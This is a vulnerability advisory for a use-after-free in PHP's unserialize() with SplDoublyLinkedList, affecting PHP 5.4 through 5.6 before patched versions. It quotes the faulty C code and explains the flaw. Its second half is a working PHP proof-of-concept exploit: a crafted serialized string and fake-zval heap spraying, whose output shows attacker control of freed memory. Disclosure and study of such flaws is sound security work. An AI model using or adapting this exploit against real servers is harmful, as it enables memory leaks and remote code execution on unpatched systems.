PHP SplDoublyLinkedList Use-After-Free

`#Use After Free Vulnerability in unserialize() with SplDoublyLinkedList  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.7.30 - Release Date: 2015.8.7  
  
> A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.12  
Affected is PHP 5.5 < 5.5.28  
Affected is PHP 5.4 < 5.4.44  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
  
```  
ALLOC_INIT_ZVAL(flags);  
if (!php_var_unserialize(&flags, &p, s + buf_len, &var_hash  
TSRMLS_CC) || Z_TYPE_P(flags) != IS_LONG) {  
zval_ptr_dtor(&flags);  
goto error;  
}  
intern->flags = Z_LVAL_P(flags);  
zval_ptr_dtor(&flags); <=== free memory  
  
...  
  
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);  
return;  
```  
  
The zval_ptr_dtor() leads to &flags is freed from memory. However the  
unserialize() will still allow to use R: or r: to set references to  
that already freed memory. It is possible to use-after-free attack and  
execute arbitrary code remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.  
  
```  
<?php  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
$inner = 'i:0;';  
$exploit = 'a:2:{i:0;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';  
  
$data = unserialize($exploit);  
  
for ($i = 0; $i < 5; $i++) {  
$v[$i] = $fakezval.$i;  
}  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = "";  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
  
```  
$ php uafpoc.php  
array(2) {  
[0]=>  
object(SplDoublyLinkedList)#1 (2) {  
["flags":"SplDoublyLinkedList":private]=>  
int(0)  
["dllist":"SplDoublyLinkedList":private]=>  
array(0) {  
}  
}  
[1]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
}  
```  
  
  
`